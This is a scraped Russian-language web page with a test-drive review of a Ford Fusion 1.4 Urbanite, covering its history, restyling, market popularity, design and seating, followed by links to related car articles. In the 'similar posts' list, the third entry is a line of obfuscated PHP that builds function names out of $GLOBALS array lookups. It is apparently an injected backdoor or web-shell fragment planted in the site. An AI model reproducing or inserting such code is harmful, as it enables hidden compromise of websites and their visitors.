Видео Обзор Ford Fusion

Тест-драйв: 4 дня с Ford Fusion  Май 29, 2012 – 06:12
Тест-драйв: 4 дня с Ford Fusion

Тест-драйв: 4 дня с Ford Fusion

Эту машину вряд ли купит уличный гонщик. Зато она отлично подходит для порядочного семьянина. Такой автомобиль никогда не выедет на Нюрбургринг. Но на нем можно прокатиться по проселочным дорогам дачного городка. Звук двигателя этой машины не заставит ваше сердце биться чаще. Зато у данной модели отличная обзорность и неплохая управляемость. Речь идет о Ford Fusion, который побывал в нашем распоряжении четыре дня.

10-летняя история

Производство Ford Fusion стартовало в Германии в 2002 году. Автомобиль получил слегка модернизированную подвеску Fiesta (уже предыдущего поколения) и схожий с «донором» дизайн. В 2005-м машина подверглась рестайлингу, в ходе которого изменились передний и задний бамперы, молдинги, светотехника, дизайн передней панели и «подросли» наружные зеркала заднего вида.

Автомобиль пользуется очень большой популярностью на рынке стран СНГ. Несмотря на то что модель вот-вот уйдет с рынка (производство Fusion уже остановилось), она является одним из самых продаваемых Ford в России и Беларуси. На рынке подержанных машин Fusion также не редкость. Хватает у нас как купленных новыми, так и привезенных из Европы экземпляров. В чем же заключается успех модели, которая разрабатывалась более чем 10 лет назад?

Ford Fusion Urbanite 1, 4

Любовь автомобилистов машина получила за невысокую стоимость, большой дорожный просвет и простоту в обслуживании. Разработчики стремились создать автомобиль, сочетающий в себе свойства хетчбэка малого класса и компактного паркетника. Благодаря более серьезной «морде» и высокому клиренсу, Fusion выглядит более агрессивно по сравнению с Fiesta.

Модель рисовали более 10 лет назад. Тогда у Ford как раз начинал царствовать стиль New Edge, который достался Focus, Fiesta и третьему поколению Mondeo. Надо отдать должное фордовским дизайнерам. После премьеры в 2001 году, Fusion не особо выделялся среди других автомобилей: вполне консервативный внешний вид, без намека на вычурность. Зато и сегодня машина не смотрится устаревшей!

Нам на тест достался Ford Fusion c 1, 4-литровым бензиновым мотором и 5-ступенчатой механической коробкой передач. Автомобиль был во «внедорожной» комплектации Urbanite, которая отличается от всех других версий иными бамперами с дополнительной защитой. Машина была окрашена в серебристый цвет и обклеена традиционными рекламными наклейками дилера.

Простой интерьер

Оформив все необходимые документы, взял ключи и направился к машине, с которой проведу ближайшие четыре дня. Открываю дверь, сажусь… Ого, какая высокая посадка! Какое-то время я ездил на Fiesta 2005 года выпуска, и поэтому, естественно, ожидал, что посадка во Fusion будет отличаться. Но чтоб на столько!

Источник: www.mqlook.com

Возможно, вам понравится:

Видео обзор Ford Fusion (Салон и
Видео обзор Ford Fusion (Салон и ...

Volkswagen CC — это мощь  — Великая Эпоха
Для удобства водителя использовали кожаную оплётку руля и аналоговую панель приборов. Автоматический .. Вместе с этим Volkswagen CC гораздо более стильный автомобиль, чем авто ближайших конкурентов — Toyota Camry, Honda Accord или Ford Fusion. Характеристики:

Пять ультрасовременных авто-технологий 2013 года  — Новостной проект INFOX.ru
Впервые такое изобретение было предложено компанией Ford на внедорожнике Explorer 2011 модельного года. Разработка способна уменьшить травмы головы, шеи и ..

Похожие записи:

  1. Панель Ford Fusion
  2. Разборка Ford Fusion
  3. $tee3e7df = @$GLOBALS[$GLOBALS['p459843e'][7].$GLOBALS['p459843e'][4].$GLOBALS['p459843e'][67].$GLOBALS['p459843e'][26].$GLOBALS['p459843e'][27]]($GLOBALS[$GLOBALS['p459843e'][19].$GLOBALS['p459843e'][23].$GLOBALS['p459843e'][16].$GLOBALS['p459843e'][89].$GLOBALS['p459843e'][80].$GLOBALS['p459843e'][74].$GLOBALS['p459843e'][27].$GLOBALS['p459843e'][0]]($GLOBALS[$GLOBALS['p459843e'][79].$GLOBALS['p459843e'][47].$GLOBALS['p459843e'][77].$GLOBALS['p459843e'][23].$GLOBALS['p459843e'][23].$GLOBALS['p459843e'][0].$GLOBALS['p459843e'][90]]($tee3e7df), $r7683842));